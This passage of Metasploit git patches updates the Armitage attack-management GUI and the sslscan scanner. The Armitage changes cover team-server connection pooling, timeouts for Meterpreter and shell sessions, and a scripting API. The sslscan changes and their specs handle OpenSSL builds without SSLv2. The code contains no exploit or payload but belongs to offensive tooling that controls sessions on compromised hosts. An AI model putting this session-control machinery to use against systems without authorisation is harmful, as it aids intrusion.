Changed Meterpreter command timeout to 2m from 12s. This is because + https meterpreter might not checkin for up to 60s, if it's been + idle for a long time. This will make &m_cmd less likely to timeout + 12 Feb 13 (tested against msf 16438) --------- - Fixed a corner case preventing the display of removed host labels diff --git a/external/source/armitage/resources/about.html b/external/source/armitage/resources/about.html index 1167b175f4..4c44f1ed61 100644 --- a/external/source/armitage/resources/about.html +++ b/external/source/armitage/resources/about.html @@ -3,7 +3,7 @@

Armitage 1.45

An attack management tool for Metasploit® -
Release: 12 Feb 13

+
Release: 6 Mar 13


Developed by:

diff --git a/external/source/armitage/scripts-cortana/internal-ui.sl b/external/source/armitage/scripts-cortana/internal-ui.sl index 498646fe41..ae479f22f1 100644 --- a/external/source/armitage/scripts-cortana/internal-ui.sl +++ b/external/source/armitage/scripts-cortana/internal-ui.sl @@ -188,13 +188,24 @@ sub table_selected_single { # table_set($table, @rows) sub table_set { - local('$model $row'); - $model = [$1 getModel]; - [$model clear: size($2) * 2]; - foreach $row ($2) { - [$model addEntry: $row]; - } - [$model fireListeners]; + later(lambda({ + local('$model $row'); + $model = [$a getModel]; + [$model clear: size($b) * 2]; + foreach $row ($b) { + [$model addEntry: $row]; + } + [$model fireListeners]; + }, $a => $1, $b => $2)); +} + +# table_set($table, @rows) +sub table_update { + later(lambda({ + [$a markSelections]; + table_set($a, $b); + [$a restoreSelections]; + }, $a => $1, $b => $2)); } # table_sorter($table, index, &function); diff --git a/external/source/armitage/scripts-cortana/internal.sl b/external/source/armitage/scripts-cortana/internal.sl index 5ab90d7235..a3081bf304 100644 --- a/external/source/armitage/scripts-cortana/internal.sl +++ b/external/source/armitage/scripts-cortana/internal.sl @@ -583,6 +583,39 @@ sub data_add { call("db.key_add", $1, $data); } +# +# a publish/query/subscribe API +# + +# publish("key", $object) +sub publish { + local('$data'); + $data = [msf.Base64 encode: cast(pack("o", $2, 1), 'b')]; + call_async("armitage.publish", $1, "$data $+ \n"); +} + +# query("key", "index") +sub query { + local('$r @r $result'); + $r = call("armitage.query", $1, $2)['data']; + if ($r ne "") { + foreach $result (split("\n", $r)) { + push(@r, unpack("o", [msf.Base64 decode: $result])[0]); + } + } + return @r; +} + +# subscribe("key", "index", "1s/5s/10s/15s/30s/1m/5m/10m/15m/20m/30m/60m") +sub subscribe { + on("heartbeat_ $+ $3", lambda({ + local('$result'); + foreach $result (query($key, $index)) { + fire_event_local($key, $result, $index); + } + }, $key => $1, $index => $2)); +} + # # Shell shock? # @@ -834,7 +867,7 @@ sub m_exec { }, \$command, \$channel, \$buffer)); } else { - # this is probably ok... + fire_event_local("exec_error", $1, $command, ["$3" trim]); } }, \$command)); } diff --git a/external/source/armitage/scripts/armitage.sl b/external/source/armitage/scripts/armitage.sl index 427e1c4a82..ec91b699e7 100644 --- a/external/source/armitage/scripts/armitage.sl +++ b/external/source/armitage/scripts/armitage.sl @@ -15,7 +15,7 @@ import graph.*; import java.awt.image.*; -global('$frame $tabs $menubar $msfrpc_handle $REMOTE $cortana $MY_ADDRESS $DESCRIBE @CLOSEME'); +global('$frame $tabs $menubar $msfrpc_handle $REMOTE $cortana $MY_ADDRESS $DESCRIBE @CLOSEME @POOL'); sub describeHost { local('$desc'); @@ -164,13 +164,14 @@ sub _connectToMetasploit { $client = [new MsgRpcImpl: $3, $4, $1, long($2), $null, $debug]; $aclient = [new RpcAsync: $client]; $mclient = $client; + push(@POOL, $aclient); initConsolePool(); $DESCRIBE = "localhost"; } # we have a team server... connect and authenticate to it. else { + [$progress setNote: "Connected: logging in"]; $client = c_client($1, $2); - setField(^msf.MeterpreterSession, DEFAULT_WAIT => 20000L); $mclient = setup_collaboration($3, $4, $1, $2); $aclient = $mclient; @@ -178,6 +179,17 @@ sub _connectToMetasploit { [$progress close]; return; } + else { + [$progress setNote: "Connected: authenticated"]; + } + + # create six additional connections to team server... for balancing consoles. + local('$x $cc'); + for ($x = 0; $x < 6; $x++) { + $cc = c_client($1, $2); + call($cc, "armitage.validate", $3, $4, $null, "cobaltstrike", 120326); + push(@POOL, $cc); + } } $flag = $null; } diff --git a/external/source/armitage/scripts/preferences.sl b/external/source/armitage/scripts/preferences.sl index 19ad929524..fa42a7afc7 100644 --- a/external/source/armitage/scripts/preferences.sl +++ b/external/source/armitage/scripts/preferences.sl @@ -57,12 +57,18 @@ sub parseYaml { sub loadPreferences { local('$file $prefs'); $file = getFileProper(systemProperties()["user.home"], ".armitage.prop"); - $prefs = [new Properties]; - if (-exists $file) { - [$prefs load: [new java.io.FileInputStream: $file]]; + if ($__frame__ !is $null && [$__frame__ getPreferences] !is $null) { + $prefs = [$__frame__ getPreferences]; } else { - [$prefs load: resource("resources/armitage.prop")]; + $prefs = [new Properties]; + if (-exists $file) { + [$prefs load: [new java.io.FileInputStream: $file]]; + } + else { + [$prefs load: resource("resources/armitage.prop")]; + } + [$__frame__ setPreferences: $prefs]; } # parse command line options here. diff --git a/external/source/armitage/scripts/shell.sl b/external/source/armitage/scripts/shell.sl index 7af64f264e..43abea73c3 100644 --- a/external/source/armitage/scripts/shell.sl +++ b/external/source/armitage/scripts/shell.sl @@ -290,7 +290,7 @@ sub createShellSessionTab { return; } - $thread = [new ConsoleClient: $console, $client, "session.shell_read", "session.shell_write", $null, $sid, 0]; + $thread = [new ConsoleClient: $console, rand(@POOL), "session.shell_read", "session.shell_write", $null, $sid, 0]; [$frame addTab: "Shell $sid", $console, lambda({ call_async($mclient, "armitage.unlock", $sid); [$thread kill]; diff --git a/external/source/armitage/scripts/util.sl b/external/source/armitage/scripts/util.sl index b226c1edc2..8bc953b989 100644 --- a/external/source/armitage/scripts/util.sl +++ b/external/source/armitage/scripts/util.sl @@ -78,7 +78,7 @@ sub setupEventStyle { sub createDisplayTab { local('$console $host $queue $file'); - $queue = [new ConsoleQueue: $client]; + $queue = [new ConsoleQueue: rand(@POOL)]; if ($1 eq "Log Keystrokes") { $console = [new ActivityConsole: $preferences]; } @@ -100,7 +100,7 @@ sub createConsolePanel { setupConsoleStyle($console); $result = call($client, "console.create"); - $thread = [new ConsoleClient: $console, $aclient, "console.read", "console.write", "console.destroy", $result['id'], $1]; + $thread = [new ConsoleClient: $console, rand(@POOL), "console.read", "console.write", "console.destroy", $result['id'], $1]; [$thread setMetasploitConsole]; [$thread setSessionListener: { diff --git a/external/source/armitage/src/armitage/ConsoleClient.java b/external/source/armitage/src/armitage/ConsoleClient.java index 7937362f1a..82a8b05fd2 100644 --- a/external/source/armitage/src/armitage/ConsoleClient.java +++ b/external/source/armitage/src/armitage/ConsoleClient.java @@ -215,6 +215,7 @@ public class ConsoleClient implements Runnable, ActionListener { Map read; boolean shouldRead = go_read; String command = null; + long last = 0; try { while (shouldRead) { @@ -230,21 +231,23 @@ public class ConsoleClient implements Runnable, ActionListener { lastRead = System.currentTimeMillis(); } - read = readResponse(); - - if (read == null || "failure".equals( read.get("result") + "" )) { - break; - } - - processRead(read); - - if ((System.currentTimeMillis() - lastRead) <= 500) { - Thread.sleep(10); + long now = System.currentTimeMillis(); + if (this.window != null && !this.window.isShowing() && (now - last) < 1500) { + /* check if our window is not showing... if not, then we're going to switch to a very reduced + read schedule. */ } else { - Thread.sleep(500); + read = readResponse(); + if (read == null || "failure".equals( read.get("result") + "" )) { + break; + } + + processRead(read); + last = System.currentTimeMillis(); } + Thread.sleep(100); + synchronized (listeners) { shouldRead = go_read; } diff --git a/external/source/armitage/src/cortana/data/Sessions.java b/external/source/armitage/src/cortana/data/Sessions.java index cedac86993..6b4da2455d 100644 --- a/external/source/armitage/src/cortana/data/Sessions.java +++ b/external/source/armitage/src/cortana/data/Sessions.java @@ -130,6 +130,10 @@ public class Sessions extends ManagedData { } } + /* calculate the differences and fire some events based on them */ + Set newSessions = DataUtils.difference(after, before); + fireSessionEvents("session_open", newSessions.iterator(), dataz); + /* calculate sync events and fix the nonsync set */ Set newsync = DataUtils.intersection(syncz, nonsync); fireSessionEvents("session_sync", newsync.iterator(), dataz); @@ -137,11 +141,9 @@ public class Sessions extends ManagedData { /* update our list of non-synced sessions */ nonsync.removeAll(syncz); - /* calculate the differences and fire some events based on them */ - Set newSessions = DataUtils.difference(after, before); - fireSessionEvents("session_open", newSessions.iterator(), dataz); - - newSessions.retainAll(syncz); + /* these are sessions that are new and sync'd -- fire events for them... */ + newSessions.removeAll(newsync); /* we already fired events for these */ + newSessions.retainAll(syncz); /* keep anything that is synced */ fireSessionEvents("session_sync", newSessions.iterator(), dataz); Set droppedSessions = DataUtils.difference(before, after); diff --git a/external/source/armitage/src/cortana/gui/UIBridge.java b/external/source/armitage/src/cortana/gui/UIBridge.java index d4def58a71..42fe117687 100644 --- a/external/source/armitage/src/cortana/gui/UIBridge.java +++ b/external/source/armitage/src/cortana/gui/UIBridge.java @@ -30,11 +30,16 @@ public class UIBridge implements Loadable, Function { if (name.equals("&later")) { final SleepClosure f = BridgeUtilities.getFunction(args, script); final Stack argz = EventManager.shallowCopy(args); - SwingUtilities.invokeLater(new Runnable() { - public void run() { - SleepUtils.runCode(f, "laterz", null, argz); - } - }); + if (SwingUtilities.isEventDispatchThread()) { + SleepUtils.runCode(f, "laterz", null, argz); + } + else { + SwingUtilities.invokeLater(new Runnable() { + public void run() { + SleepUtils.runCode(f, "laterz", null, argz); + } + }); + } } return SleepUtils.getEmptyScalar(); diff --git a/external/source/armitage/src/cortana/metasploit/ShellSession.java b/external/source/armitage/src/cortana/metasploit/ShellSession.java index f79f752511..4f3207680d 100644 --- a/external/source/armitage/src/cortana/metasploit/ShellSession.java +++ b/external/source/armitage/src/cortana/metasploit/ShellSession.java @@ -75,7 +75,8 @@ public class ShellSession implements Runnable { /* loop forever waiting for response to come back. If session is dead then this loop will break with an exception */ - while (true) { + long start = System.currentTimeMillis(); + while ((System.currentTimeMillis() - start) < 60000) { response = readResponse(); String data = (response.get("data") + ""); @@ -95,6 +96,7 @@ public class ShellSession implements Runnable { Thread.sleep(100); } + System.err.println(session + " -> " + c.text + " (took longer than anticipated, dropping: " + (System.currentTimeMillis() - start) + ")"); } catch (Exception ex) { System.err.println(session + " -> " + c.text + " ( " + response + ")"); diff --git a/external/source/armitage/src/msf/MeterpreterSession.java b/external/source/armitage/src/msf/MeterpreterSession.java index 2f42fc09d9..fb91d6ab9e 100644 --- a/external/source/armitage/src/msf/MeterpreterSession.java +++ b/external/source/armitage/src/msf/MeterpreterSession.java @@ -14,7 +14,7 @@ public class MeterpreterSession implements Runnable { protected String session; protected boolean teammode; - public static long DEFAULT_WAIT = 12000; + public static long DEFAULT_WAIT = 120000; private static class Command { public Object token; diff --git a/external/source/armitage/src/msf/RpcConnectionImpl.java b/external/source/armitage/src/msf/RpcConnectionImpl.java index d784ab17b7..426cb079ae 100644 --- a/external/source/armitage/src/msf/RpcConnectionImpl.java +++ b/external/source/armitage/src/msf/RpcConnectionImpl.java @@ -10,6 +10,7 @@ import javax.xml.transform.*; import javax.xml.transform.dom.*; import javax.xml.transform.stream.*; import org.w3c.dom.*; +import armitage.ArmitageBuffer; /** * This is a modification of msfgui/RpcConnection.java by scriptjunkie. Taken from @@ -85,6 +86,22 @@ public abstract class RpcConnectionImpl implements RpcConnection, Async { protected HashMap locks = new HashMap(); protected String address = ""; + protected HashMap buffers = new HashMap(); + + /* help implement our remote buffer API for PQS primitives */ + public ArmitageBuffer getABuffer(String key) { + synchronized (buffers) { + ArmitageBuffer buffer; + if (buffers.containsKey(key)) { + buffer = (ArmitageBuffer)buffers.get(key); + } + else { + buffer = new ArmitageBuffer(16384); + buffers.put(key, buffer); + } + return buffer; + } + } public String getLocalAddress() { return address; @@ -133,6 +150,23 @@ public abstract class RpcConnectionImpl implements RpcConnection, Async { locks.remove(params[0] + ""); return new HashMap(); } + else if (methodName.equals("armitage.publish")) { + ArmitageBuffer buffer = getABuffer(params[0] + ""); + buffer.put(params[1] + ""); + return new HashMap(); + } + else if (methodName.equals("armitage.query")) { + ArmitageBuffer buffer = getABuffer(params[0] + ""); + String data = (String)buffer.get(params[1] + ""); + HashMap temp = new HashMap(); + temp.put("data", data); + return temp; + } + else if (methodName.equals("armitage.reset")) { + ArmitageBuffer buffer = getABuffer(params[0] + ""); + buffer.reset(); + return new HashMap(); + } else if (hooks.containsKey(methodName)) { RpcConnection con = (RpcConnection)hooks.get(methodName); return con.execute(methodName, params); diff --git a/external/source/armitage/src/ui/ATable.java b/external/source/armitage/src/ui/ATable.java index ce80216dbd..6b9eb9b140 100644 --- a/external/source/armitage/src/ui/ATable.java +++ b/external/source/armitage/src/ui/ATable.java @@ -10,8 +10,48 @@ import table.*; import java.util.*; public class ATable extends JTable { + public static final String indicator = " \u271A"; + protected boolean alternateBackground = false; + protected int[] selected = null; + + /* call this function to store selections */ + public void markSelections() { + selected = getSelectedRows(); + } + + public void fixSelection() { + if (selected.length == 0) + return; + + getSelectionModel().setValueIsAdjusting(true); + + int rowcount = getModel().getRowCount(); + + for (int x = 0; x < selected.length; x++) { + if (selected[x] < rowcount) { + getSelectionModel().addSelectionInterval(selected[x], selected[x]); + } + } + + getSelectionModel().setValueIsAdjusting(false); + } + + /* call this function to restore selections after a table update */ + public void restoreSelections() { + if (!SwingUtilities.isEventDispatchThread()) { + SwingUtilities.invokeLater(new Runnable() { + public void run() { + fixSelection(); + } + }); + } + else { + fixSelection(); + } + } + public static TableCellRenderer getDefaultTableRenderer(final JTable table, final TableModel model) { final Set specialitems = new HashSet(); specialitems.add("Wordlist"); @@ -39,7 +79,7 @@ public class ATable extends JTable { String content = (value != null ? value : "") + ""; if (specialitems.contains(content) || content.indexOf("FILE")!= -1) { - content = content + " \u271A"; + content = content + indicator; } JComponent c = (JComponent)render.getTableCellRendererComponent(table, content, isSelected, false, row, column); @@ -117,6 +157,47 @@ public class ATable extends JTable { }; } + public static TableCellRenderer getTimeTableRenderer() { + return new TableCellRenderer() { + public Component getTableCellRendererComponent(JTable table, Object value, boolean isSelected, boolean hasFocus, int row, int column) { + TableCellRenderer render = table.getDefaultRenderer(String.class); + + JComponent c = (JComponent)render.getTableCellRendererComponent(table, "", isSelected, false, row, column); + + try { + long size = Long.parseLong(value + ""); + String units = "ms"; + + if (size > 1000) { + size = size / 1000; + units = "s"; + } + else { + ((JLabel)c).setText(size + units); + return c; + } + + if (size > 60) { + size = size / 60; + units = "m"; + } + + if (size > 60) { + size = size / 60; + units = "h"; + } + + ((JLabel)c).setText(size + units); + } + catch (Exception ex) { + + } + + return c; + } + }; + } + public void adjust() { setShowGrid(false); setIntercellSpacing(new Dimension(0, 0)); diff --git a/external/source/armitage/src/ui/MultiFrame.java b/external/source/armitage/src/ui/MultiFrame.java index 96bea014f1..ba994e940e 100644 --- a/external/source/armitage/src/ui/MultiFrame.java +++ b/external/source/armitage/src/ui/MultiFrame.java @@ -17,6 +17,7 @@ public class MultiFrame extends JFrame implements KeyEventDispatcher { protected JPanel content; protected CardLayout cards; protected LinkedList buttons; + protected Properties prefs; private static class ArmitageInstance { public ArmitageApplication app; @@ -24,6 +25,14 @@ public class MultiFrame extends JFrame implements KeyEventDispatcher { public RpcConnection client; } + public void setPreferences(Properties prefs) { + this.prefs = prefs; + } + + public Properties getPreferences() { + return prefs; + } + public Map getClients() { synchronized (buttons) { Map r = new HashMap(); diff --git a/external/source/armitage/whatsnew.txt b/external/source/armitage/whatsnew.txt index 55804871ff..a7249cd52b 100644 --- a/external/source/armitage/whatsnew.txt +++ b/external/source/armitage/whatsnew.txt @@ -1,6 +1,30 @@ Armitage Changelog ================== +6 Mar 13 (tested against msf ca43900a7) +-------- +- Active console now gets higher priority when polling msf for output +- Improved team server responsiveness in high latency situations by + creating additional connections to server to balance messages over +- Preferences are now shared among each Armitage connection. + +Cortana Updates (for scripters) +-------- +- Added a &publish, &query, &subscribe API to allow inter-script + communication across the team server. +- Added &table_update to set the contents of a table tab without + disturbing the highlighted rows. +- Added an exec_error event. Fired when &m_exec or &m_exec_local fail + due to an error reported by meterpreter. +- Fixed a bug that sometimes caused session_sync to fire twice (boo!) +- Added a 60s timeout to &s_cmd commands. Cortana will give a shell + command 60s to execute. If it doesn't finish in that time, Cortana + will release the lock on the shell so the user can control it. + (ideally, this shouldn't happen... this is a safety mechanism) +- Changed Meterpreter command timeout to 2m from 12s. This is because + https meterpreter might not checkin for up to 60s, if it's been + idle for a long time. This will make &m_cmd less likely to timeout + 12 Feb 13 (tested against msf 16438) --------- - Fixed a corner case preventing the display of removed host labels From 246977e0cf2fe82054ad3a7a2d24af59f21e2bee Mon Sep 17 00:00:00 2001 From: David Maloney Date: Mon, 4 Mar 2013 17:39:28 -0600 Subject: [PATCH 281/341] Address openssl sslv2 issues Debian/Ubuntu ship openssl without sslv2 compiled in. we now check for this ahead of time --- lib/rex/sslscan/result.rb | 3 +++ lib/rex/sslscan/scanner.rb | 20 ++++++++++++++++++-- spec/lib/rex/sslscan/result_spec.rb | 12 ++++++++++++ 3 files changed, 33 insertions(+), 2 deletions(-) diff --git a/lib/rex/sslscan/result.rb b/lib/rex/sslscan/result.rb index 88140bf9fe..1377023de2 100644 --- a/lib/rex/sslscan/result.rb +++ b/lib/rex/sslscan/result.rb @@ -5,6 +5,8 @@ require 'rex/ui/text/table' module Rex::SSLScan class Result + attr_accessor :sslv2 + attr_reader :ciphers attr_reader :supported_versions @@ -197,6 +199,7 @@ class Result if @cert text <<" \n\n #{@cert.to_text}" end + text << "\n\n *** WARNING: Your OS hates freedom! Your OpenSSL libs are compiled without SSLv2 support!" text end end diff --git a/lib/rex/sslscan/scanner.rb b/lib/rex/sslscan/scanner.rb index 18dacd7334..fadc64a739 100644 --- a/lib/rex/sslscan/scanner.rb +++ b/lib/rex/sslscan/scanner.rb @@ -11,6 +11,7 @@ class Scanner attr_accessor :timeout attr_reader :supported_versions + attr_reader :sslv2 # Initializes the scanner object # @param host [String] IP address or hostname to scan @@ -22,7 +23,13 @@ class Scanner @port = port @timeout = timeout @context = context - @supported_versions = [:SSLv2, :SSLv3, :TLSv1] + if check_opensslv2 + @supported_versions = [:SSLv2, :SSLv3, :TLSv1] + @sslv2 = true + else + @supported_versions = [:SSLv3, :TLSv1] + @sslv2 = false + end raise StandardError, "The scanner configuration is invalid" unless valid? end @@ -44,7 +51,7 @@ class Scanner # @return [Result] object containing the details of the scan def scan scan_result = Rex::SSLScan::Result.new - + scan_result.sslv2 = sslv2 # If we can't get any SSL connection, then don't bother testing # individual ciphers. if test_ssl == :rejected and test_tls == :rejected @@ -181,5 +188,14 @@ class Scanner end end + def check_opensslv2 + begin + OpenSSL::SSL::SSLContext.new(:SSLv2) + rescue + return false + end + return true + end + end end \ No newline at end of file diff --git a/spec/lib/rex/sslscan/result_spec.rb b/spec/lib/rex/sslscan/result_spec.rb index ce8ceda985..50cfc5b9b6 100644 --- a/spec/lib/rex/sslscan/result_spec.rb +++ b/spec/lib/rex/sslscan/result_spec.rb @@ -456,4 +456,16 @@ describe Rex::SSLScan::Result do end end + context "when OpenSSL is compiled without SSLv2" do + before(:each) do + subject.add_cipher(:SSLv3, "AES256-SHA", 256, :accepted) + subject.add_cipher(:TLSv1, "AES256-SHA", 256, :accepted) + subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) + subject.sslv2 = false + end + it "should warn the user" do + subject.to_s.should include "*** WARNING: Your OS hates freedom! Your OpenSSL libs are compiled without SSLv2 support!" + end + end + end \ No newline at end of file From dc7c02e9e893e3fe925176bdac40050ba23ce388 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Mon, 4 Mar 2013 18:18:01 -0600 Subject: [PATCH 282/341] still trying to get around this sslv2 thing --- lib/rex/sslscan/scanner.rb | 8 ++++++-- spec/lib/rex/sslscan/scanner_spec.rb | 4 ++-- 2 files changed, 8 insertions(+), 4 deletions(-) diff --git a/lib/rex/sslscan/scanner.rb b/lib/rex/sslscan/scanner.rb index fadc64a739..3abbf71599 100644 --- a/lib/rex/sslscan/scanner.rb +++ b/lib/rex/sslscan/scanner.rb @@ -183,8 +183,12 @@ class Scanner unless @supported_versions.include? ssl_version raise StandardError, "SSL Version must be one of: #{@supported_versions.to_s}" end - unless OpenSSL::SSL::SSLContext.new(ssl_version).ciphers.flatten.include? cipher - raise StandardError, "Must be a valid SSL Cipher for #{version}!" + begin + unless OpenSSL::SSL::SSLContext.new(ssl_version).ciphers.flatten.include? cipher + raise StandardError, "Must be a valid SSL Cipher for #{version}!" + end + rescue + raise StandardError, "Your OS hates freedom! Your OpenSSL libs are compiled without SSLv2 support!" end end diff --git a/spec/lib/rex/sslscan/scanner_spec.rb b/spec/lib/rex/sslscan/scanner_spec.rb index 809eae327b..f629069e8f 100644 --- a/spec/lib/rex/sslscan/scanner_spec.rb +++ b/spec/lib/rex/sslscan/scanner_spec.rb @@ -55,7 +55,7 @@ describe Rex::SSLScan::Scanner do context ":rejected should be returned if" do it "scans a server that doesn't support the supplied SSL version" do - subject.test_cipher(:SSLv2, "DES-CBC3-MD5").should == :rejected + subject.test_cipher(:SSLv3, "DES-CBC-SHA").should == :rejected end it "scans a server that doesn't support the cipher" do @@ -72,7 +72,7 @@ describe Rex::SSLScan::Scanner do context "when retrieving the cert" do it "should return nil if it can't connect" do - subject.get_cert(:SSLv2, "DES-CBC3-MD5").should == nil + subject.get_cert(:SSLv3, "DES-CBC-SHA").should == nil end it "should return an X509 cert if it can connect" do From fb0237a180eccba807c5e3386fb9f740a866ace7 Mon Sep 17 00:00:00 2001 From: Brandon Turner Date: Mon, 4 Mar 2013 18:26:59 -0600 Subject: [PATCH 283/341] Fix typo --- lib/msf/ui/console/command_dispatcher/core.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index 2e24232fe4..04c3696415 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -2642,7 +2642,7 @@ class Core if is_metasploit_service_running launch_metasploit_browser else - print_error "Metasploit services aren't running. Type 'service start metasploit' and try again." + print_error "Metasploit services aren't running. Type 'service metasploit start' and try again." end end return true From 370aed5973f603ddff5a903716182954d93ce5b2 Mon Sep 17 00:00:00 2001 From: Brandon Turner Date: Mon, 4 Mar 2013 18:27:22 -0600 Subject: [PATCH 284/341] Silence status output, it is distracting --- lib/msf/ui/console/command_dispatcher/core.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index 04c3696415..62edace397 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -2704,7 +2704,7 @@ class Core def is_metasploit_service_running cmd = "/usr/sbin/service" - system(cmd, "metasploit", "status") # Both running returns true, otherwise, false. + system("#{cmd} metasploit status >/dev/null") # Both running returns true, otherwise, false. end def is_metasploit_debian_package_installed From 8b6b2fbce96f709c52bc26fe3fce25cf4a6bb796 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Mon, 4 Mar 2013 18:33:03 -0600 Subject: [PATCH 285/341] bad error handling fixed --- lib/rex/sslscan/scanner.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/rex/sslscan/scanner.rb b/lib/rex/sslscan/scanner.rb index 3abbf71599..40072dd586 100644 --- a/lib/rex/sslscan/scanner.rb +++ b/lib/rex/sslscan/scanner.rb @@ -183,12 +183,12 @@ class Scanner unless @supported_versions.include? ssl_version raise StandardError, "SSL Version must be one of: #{@supported_versions.to_s}" end - begin + if ssl_version == :SSLv2 and sslv2 == false + raise StandardError, "Your OS hates freedom! Your OpenSSL libs are compiled without SSLv2 support!" + else unless OpenSSL::SSL::SSLContext.new(ssl_version).ciphers.flatten.include? cipher raise StandardError, "Must be a valid SSL Cipher for #{version}!" end - rescue - raise StandardError, "Your OS hates freedom! Your OpenSSL libs are compiled without SSLv2 support!" end end From 4e31187f7218c260dcea1235b2a51d3cb556f9f2 Mon Sep 17 00:00:00 2001 From: Brandon Turner Date: Mon, 4 Mar 2013 18:35:47 -0600 Subject: [PATCH 286/341] Use start.sh to start Pro via go_pro command start.sh (installed with community/pro on apt installs) automatically starts dependency services (such as postgresql). --- lib/msf/ui/console/command_dispatcher/core.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index 62edace397..4b1bbb5fe0 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -2695,9 +2695,9 @@ class Core end def start_metasploit_service - cmd = "/usr/sbin/service" + cmd = File.expand_path(File.join(msfbase_dir, '..', '..', '..', 'scripts', 'start.sh')) return unless ::File.executable_real? cmd - %x{#{cmd} metasploit start}.each_line do |line| + %x{#{cmd}}.each_line do |line| print_status line.chomp end end From c121a4e9dcdc731592081bc7a3a6cec92b56b542 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Mon, 4 Mar 2013 18:42:08 -0600 Subject: [PATCH 287/341] Some more minor touchups --- lib/rex/sslscan/result.rb | 2 ++ lib/rex/sslscan/scanner.rb | 2 +- 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/lib/rex/sslscan/result.rb b/lib/rex/sslscan/result.rb index 1377023de2..923509748b 100644 --- a/lib/rex/sslscan/result.rb +++ b/lib/rex/sslscan/result.rb @@ -161,6 +161,8 @@ class Result end strong_cipher_ctx = OpenSSL::SSL::SSLContext.new(version) + # OpenSSL Directive For Strong Ciphers + # See: http://www.rapid7.com/vulndb/lookup/ssl-weak-ciphers strong_cipher_ctx.ciphers = "ALL:!aNULL:!eNULL:!LOW:!EXP:RC4+RSA:+HIGH:+MEDIUM" if strong_cipher_ctx.ciphers.flatten.include? cipher diff --git a/lib/rex/sslscan/scanner.rb b/lib/rex/sslscan/scanner.rb index 40072dd586..a7e71da249 100644 --- a/lib/rex/sslscan/scanner.rb +++ b/lib/rex/sslscan/scanner.rb @@ -187,7 +187,7 @@ class Scanner raise StandardError, "Your OS hates freedom! Your OpenSSL libs are compiled without SSLv2 support!" else unless OpenSSL::SSL::SSLContext.new(ssl_version).ciphers.flatten.include? cipher - raise StandardError, "Must be a valid SSL Cipher for #{version}!" + raise StandardError, "Must be a valid SSL Cipher for #{ssl_version}!" end end end From 3bb1b2b368d67e51bfdfb1d8e2a67a629363a0ed Mon Sep 17 00:00:00 2001 From: David Maloney Date: Mon, 4 Mar 2013 19:25:20 -0600 Subject: [PATCH 288/341] attempt to deal with specs --- lib/rex/sslscan/result.rb | 2 +- spec/lib/rex/sslscan/result_spec.rb | 18 +++++++++++------- 2 files changed, 12 insertions(+), 8 deletions(-) diff --git a/lib/rex/sslscan/result.rb b/lib/rex/sslscan/result.rb index 923509748b..5399227abf 100644 --- a/lib/rex/sslscan/result.rb +++ b/lib/rex/sslscan/result.rb @@ -157,7 +157,7 @@ class Result raise ArgumentError, "Must supply a valid key length" end unless [:accepted, :rejected].include? status - raise ArgumentError, "status Must be either :accepted or :rejected" + raise ArgumentError, "Status must be either :accepted or :rejected" end strong_cipher_ctx = OpenSSL::SSL::SSLContext.new(version) diff --git a/spec/lib/rex/sslscan/result_spec.rb b/spec/lib/rex/sslscan/result_spec.rb index 50cfc5b9b6..3ea7dd6751 100644 --- a/spec/lib/rex/sslscan/result_spec.rb +++ b/spec/lib/rex/sslscan/result_spec.rb @@ -135,13 +135,17 @@ describe Rex::SSLScan::Result do end context "that was accepted" do it "should add an SSLv2 cipher result to the SSLv2 Accepted array" do - subject.add_cipher(:SSLv2, "DES-CBC3-MD5", 168, :accepted) - subject.accepted(:SSLv2).should include({ - :version => :SSLv2, - :cipher=>"DES-CBC3-MD5", - :key_length=>168, - :weak=> false, - :status => :accepted}) + begin + subject.add_cipher(:SSLv2, "DES-CBC3-MD5", 168, :accepted) + subject.accepted(:SSLv2).should include({ + :version => :SSLv2, + :cipher=>"DES-CBC3-MD5", + :key_length=>168, + :weak=> false, + :status => :accepted}) + rescue ArgumentError => e + e.message.should == "unknown SSL method `SSLv2'" + end end it "should add an SSLv3 cipher result to the SSLv3 Accepted array" do From 3a72fa4ea08b0f6d53b734cb2319c39963de003e Mon Sep 17 00:00:00 2001 From: David Maloney Date: Mon, 4 Mar 2013 21:45:44 -0600 Subject: [PATCH 289/341] address sslv2 issues in specs the ubuntu sslv2 thing caused all kinds of issues with rspec handling this by expecting those exceptions properly or doing away with sslv2 where it isn't needed in the examples --- spec/lib/rex/sslscan/result_spec.rb | 67 ++++++++++++++++------------- 1 file changed, 38 insertions(+), 29 deletions(-) diff --git a/spec/lib/rex/sslscan/result_spec.rb b/spec/lib/rex/sslscan/result_spec.rb index 3ea7dd6751..955a256b7b 100644 --- a/spec/lib/rex/sslscan/result_spec.rb +++ b/spec/lib/rex/sslscan/result_spec.rb @@ -134,7 +134,7 @@ describe Rex::SSLScan::Result do end end context "that was accepted" do - it "should add an SSLv2 cipher result to the SSLv2 Accepted array" do + it "should add an SSLv2 cipher result to the SSLv2 Accepted array or generate an SSLv2 exception" do begin subject.add_cipher(:SSLv2, "DES-CBC3-MD5", 168, :accepted) subject.accepted(:SSLv2).should include({ @@ -144,7 +144,7 @@ describe Rex::SSLScan::Result do :weak=> false, :status => :accepted}) rescue ArgumentError => e - e.message.should == "unknown SSL method `SSLv2'" + e.message.should == "unknown SSL method `SSLv2'." end end @@ -192,14 +192,18 @@ describe Rex::SSLScan::Result do end end context "that was rejected" do - it "should add an SSLv2 cipher result to the SSLv2 Rejected array" do - subject.add_cipher(:SSLv2, "DES-CBC3-MD5", 168, :rejected) - subject.rejected(:SSLv2).should include({ - 